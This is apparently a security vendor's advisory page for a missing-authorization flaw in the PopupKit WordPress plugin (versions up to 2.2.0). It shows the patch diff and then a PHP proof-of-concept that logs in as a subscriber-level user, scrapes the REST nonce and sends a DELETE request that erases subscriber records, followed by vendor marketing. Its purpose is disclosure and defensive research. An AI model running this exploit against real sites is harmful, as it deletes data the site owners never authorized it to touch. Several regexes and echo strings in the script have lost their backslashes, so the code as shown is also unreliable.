 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
--- a/popup-builder-block/includes/Routes/Popup.php
+++ b/popup-builder-block/includes/Routes/Popup.php
@@ -45,6 +45,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -58,6 +59,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -73,7 +75,7 @@
                 'endpoint'            => '/popup/logs',
                 'methods'             => 'POST',
                 'callback'            => 'insert_logs',
-                'permission_callback' => [$this, 'permission_callback'],
+                'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 				'args' => array(
 					'postId' => array(
 						'required' => true,
@@ -94,6 +96,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -107,6 +110,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -118,7 +122,7 @@
                 'endpoint'            => '/popup/logs',
                 'methods'             => 'PUT',
                 'callback'            => 'update_logs',
-                'permission_callback' => [$this, 'permission_callback'],
+                'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 				'args' => array(
 					'id' => array(
 						'required' => true,
@@ -142,7 +146,7 @@
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
--- a/popup-builder-block/includes/Routes/Subscribers.php
+++ b/popup-builder-block/includes/Routes/Subscribers.php
@@ -14,7 +14,7 @@
                 'endpoint'            => '/subscribers',
                 'methods'             => 'POST',
                 'callback'            => 'increase_subscribers',
-				'permission_callback' => [$this, 'permission_callback'],
+				'permission_callback' => [$this, 'pbb_nonce_permission_check'],
             ],
             [
                 'endpoint'            => '/subscribers',
@@ -29,6 +29,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -42,6 +43,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -74,7 +76,7 @@
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
@@ -115,7 +117,8 @@
 			'zoho',
 			'mailerlite',
 			'convertKit',
-			'webhook'
+			'webhook',
+			'klaviyo',
 		];

 		// Loop through integrations and add to subscriber data if present
@@ -126,7 +129,7 @@
 		}

 		// Apply integration filter
-		do_action('pbb_form_integration_submit', $subscriber_data);
+		do_action('popup_builder_block_form_integration_submit', $subscriber_data);

 		return rest_ensure_response([
 			'status'  => 'success',
--- a/popup-builder-block/popup-builder-block.php
+++ b/popup-builder-block/popup-builder-block.php
@@ -3,11 +3,11 @@
 /**
  * Plugin Name: PopupKit
  * Description: Powerful popup builder with ready templates and easy customization.
- * Requires at least: 6.1
+ * Requires at least: 6.2
  * Requires PHP: 7.4
  * Plugin URI: https://wpmet.com/plugin/popupkit
  * Author: Wpmet
- * Version: 2.2.0
+ * Version: 2.2.1
  * Author URI: https://wpmet.com/
  * License: GPL-3.0-or-later
  * License URI: https://www.gnu.org/licenses/gpl-3.0.html
@@ -33,7 +33,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '2.2.0';
+	const VERSION = '2.2.1';

 	/**
 	 * PopupKit class constructor.
@@ -59,10 +59,15 @@
 		add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 2 );

 		// Load the scoped vendor autoload file
-		require_once POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php';
+		if ( file_exists( POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php' ) ) {
+			require_once POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php';
+		}

 		// Plugin actions
 		add_action( 'plugins_loaded', array( $this, 'plugins_loaded' ) );
+
+		// Plugin unfiltered file support
+		add_action( 'init', array( $this, 'unfiltered_file' ) );
 	}

 	/**
@@ -178,7 +183,7 @@
 		 * This action hook allows developers to perform additional tasks before the PopupKit plugin has been initialized.
 		 * @since 1.0.0
 		 */
-		do_action( 'pbb/before_init' );
+		do_action( 'popup_builder_block/before_init' );

 		/**
 		 * Initializes the Popup Builder Block admin functionality.
@@ -193,6 +198,16 @@
 		new PopupBuilderBlockRoutesInit();
 		new PopupBuilderBlockLibsInit();
 	}
+
+	/**
+	 * Unfiltered file support method.
+	 *
+	 * @return void
+	 * @since 1.0.0
+	 */
+	public function unfiltered_file() {
+		new PopupBuilderBlockLibsUnfilteredFileSupport();
+	}
 }

 /**
--- a/popup-builder-block/uninstall.php
+++ b/popup-builder-block/uninstall.php
@@ -3,77 +3,119 @@
 if (!defined('WP_UNINSTALL_PLUGIN')) {
     exit;
 }
-// Get the uninstall setting value
-$uninstall_data = get_option('pbb-settings-tabs', []);
-$uninstral = $uninstall_data['uninstall-data'] ?? [];
-
-// Check if 'status' is set to 'active'
-if (isset($uninstral['status']) && $uninstral['status'] === 'active') {
-    global $wpdb;
-
-    // Define the options to delete
-    $options_to_delete = [
-        'pbb-settings-tabs',
-        'pbb_settings_list',
-        'pbb_db_version',
-        'pbb_fse_fonts',
-        '__pbb_oppai__',
-        '__pbb_license_key__',
-        'popup_builder_block_pro_installed_time',
-        'popup_builder_block_pro_version',
-    ];
-
-    // Define the custom tables to drop
-    $tables_to_delete = [
-        $wpdb->prefix . 'pbb_log_browsers',
-        $wpdb->prefix . 'pbb_log_countries',
-        $wpdb->prefix . 'pbb_log_referrers',
-        $wpdb->prefix . 'pbb_logs',
-        $wpdb->prefix . 'pbb_subscribers',
-        $wpdb->prefix . 'pbb_browsers',
-        $wpdb->prefix . 'pbb_countries',
-        $wpdb->prefix . 'pbb_referrers',
-    ];
-
-    // Define the usermeta keys to delete
-    $usermeta_keys_to_delete = [
-        // some usermeta keys
-    ];
-
-    // Define the postmeta keys to delete
-    $postmeta_keys_to_delete = [
-        'popup_builder_block_settings',
-    ];
-
-    // Define the transients to delete
-    $transients_to_delete = [
-        // some transients
-    ];
-
-    /** DELETE OPTIONS */
-    foreach ($options_to_delete as $option) {
-        delete_option($option);
-        delete_site_option($option); // For multisite compatibility
-    }
-
-    /** DELETE CUSTOM TABLES */
-    foreach ($tables_to_delete as $table) {
-        $wpdb->query( sprintf( 'DROP TABLE IF EXISTS `%s`', esc_sql( $table ) ) );
-    }
-
-    /** DELETE TRANSIENTS */
-    foreach ($transients_to_delete as $transient) {
-        delete_transient($transient);
-        delete_site_transient($transient); // For multisite
-    }
-
-    /** DELETE USERMETA */
-    foreach ($usermeta_keys_to_delete as $meta_key) {
-        $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->usermeta} WHERE meta_key = %s", $meta_key));
-    }
-
-    /** DELETE POSTMETA */
-    foreach ($postmeta_keys_to_delete as $meta_key) {
-        $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s", $meta_key));
+
+/**
+ * Uninstall class for Popup Builder Block
+ */
+class PopupBuilderBlock_Uninstaller {
+
+    /**
+     * Run the uninstall process
+     */
+    public static function uninstall() {
+        // Get the uninstall setting value
+        $uninstall_data = get_option('pbb-settings-tabs', []);
+        $uninstall = $uninstall_data['uninstall-data'] ?? [];
+
+        // Check if 'status' is set to 'active'
+        if (isset($uninstall['status']) && $uninstall['status'] === 'active') {
+            self::delete_options();
+            self::delete_tables();
+            self::delete_transients();
+            self::delete_usermeta();
+            self::delete_postmeta();
+        }
+    }
+
+    /**
+     * Delete plugin options
+     */
+    private static function delete_options() {
+        $options_to_delete = [
+            'pbb-settings-tabs',
+            'pbb_settings_list',
+            'pbb_db_version',
+            'pbb_fse_fonts',
+            '__pbb_oppai__',
+            '__pbb_license_key__',
+            'popup_builder_block_pro_installed_time',
+            'popup_builder_block_pro_version',
+        ];
+
+        foreach ($options_to_delete as $option) {
+            delete_option($option);
+            delete_site_option($option); // For multisite compatibility
+        }
+    }
+
+    /**
+     * Delete custom database tables
+     */
+    private static function delete_tables() {
+        global $wpdb;
+
+        $tables_to_delete = [
+            $wpdb->prefix . 'pbb_log_browsers',
+            $wpdb->prefix . 'pbb_log_countries',
+            $wpdb->prefix . 'pbb_log_referrers',
+            $wpdb->prefix . 'pbb_logs',
+            $wpdb->prefix . 'pbb_subscribers',
+            $wpdb->prefix . 'pbb_browsers',
+            $wpdb->prefix . 'pbb_countries',
+            $wpdb->prefix . 'pbb_referrers',
+            $wpdb->prefix . 'pbb_ab_test_variants',
+            $wpdb->prefix . 'pbb_ab_tests',
+        ];
+
+        foreach ($tables_to_delete as $table) {
+            $wpdb->query( sprintf( 'DROP TABLE IF EXISTS `%s`', esc_sql( $table ) ) );
+        }
+    }
+
+    /**
+     * Delete transients
+     */
+    private static function delete_transients() {
+        $transients_to_delete = [
+            // some transients
+        ];
+
+        foreach ($transients_to_delete as $transient) {
+            delete_transient($transient);
+            delete_site_transient($transient); // For multisite
+        }
+    }
+
+    /**
+     * Delete usermeta
+     */
+    private static function delete_usermeta() {
+        global $wpdb;
+
+        $usermeta_keys_to_delete = [
+            // some usermeta keys
+        ];
+
+        foreach ($usermeta_keys_to_delete as $meta_key) {
+            $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->usermeta} WHERE meta_key = %s", $meta_key));
+        }
+    }
+
+    /**
+     * Delete postmeta
+     */
+    private static function delete_postmeta() {
+        global $wpdb;
+
+        $postmeta_keys_to_delete = [
+            'popup_builder_block_settings',
+        ];
+
+        foreach ($postmeta_keys_to_delete as $meta_key) {
+            $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s", $meta_key));
+        }
     }
 }
+
+// Execute uninstall
+PopupBuilderBlock_Uninstaller::uninstall();

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14441 - Popupkit <= 2.2.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Subscriber Data Deletion

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_password';
$subscriber_id_to_delete = 123; // ID of subscriber record to delete

// Step 1: Authenticate and obtain nonce
function get_wordpress_nonce($site_url, $username, $password) {
    $login_url = $site_url . '/wp-login.php';
    
    // Create a session to handle cookies
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    // Get login page to extract nonce
    $response = curl_exec($ch);
    
    // Extract login nonce (WordPress uses _wpnonce for login)
    preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
    $login_nonce = $matches[1] ?? '';
    
    // Perform login
    $post_fields = [
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $site_url . '/wp-admin/',
        'testcookie' => '1',
        '_wpnonce' => $login_nonce
    ];
    
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    
    $response = curl_exec($ch);
    
    // Now get REST API nonce from admin dashboard
    curl_setopt($ch, CURLOPT_URL, $site_url . '/wp-admin/');
    curl_setopt($ch, CURLOPT_POST, false);
    
    $response = curl_exec($ch);
    
    // Extract REST API nonce from wpApiSettings
    preg_match('/wpApiSettingss*=s*({[^}]+})/', $response, $matches);
    if (!empty($matches[1])) {
        $settings = json_decode($matches[1], true);
        return $settings['nonce'] ?? '';
    }
    
    curl_close($ch);
    return '';
}

// Step 2: Exploit the vulnerability
function delete_subscriber($site_url, $nonce, $subscriber_id) {
    $endpoint = $site_url . '/wp-json/popup-builder-block/v1/subscribers';
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce
    ]);
    
    // The request body contains the subscriber ID to delete
    $payload = json_encode(['id' => $subscriber_id]);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Execute the PoC
echo "[+] Target: $target_urln";
echo "[+] Attempting to authenticate as: $usernamen";

$nonce = get_wordpress_nonce($target_url, $username, $password);

if (empty($nonce)) {
    echo "[-] Failed to obtain REST API noncen";
    exit(1);
}

echo "[+] Obtained REST API nonce: " . substr($nonce, 0, 10) . "...n";
echo "[+] Attempting to delete subscriber ID: $subscriber_id_to_deleten";

$result = delete_subscriber($target_url, $nonce, $subscriber_id_to_delete);

echo "[+] HTTP Response Code: " . $result['code'] . "n";
echo "[+] Server Response: " . $result['response'] . "n";

if ($result['code'] === 200) {
    echo "[+] SUCCESS: Subscriber record deletedn";
} else {
    echo "[-] FAILED: Could not delete subscribern";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School